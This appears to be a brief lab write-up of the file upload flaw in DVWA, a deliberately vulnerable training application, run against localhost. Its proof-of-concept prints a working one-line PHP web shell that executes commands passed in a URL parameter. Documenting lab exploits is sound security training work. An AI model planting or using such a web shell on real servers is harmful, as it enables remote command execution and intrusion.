DVWA — File Upload (low)

Target: http://127.0.0.1/dvwa/vulnerabilities/upload/
Date: 2025-09-26
Severity: High

Summary

DVWA's file upload function does not validate file type or sanitize uploaded content. This allows arbitrary files (including scripts or web shells) to be uploaded and executed.

PoC (reproducible)

Payload: `shell.php` with contents:

```
<?php system($_GET['cmd']); ?>
```
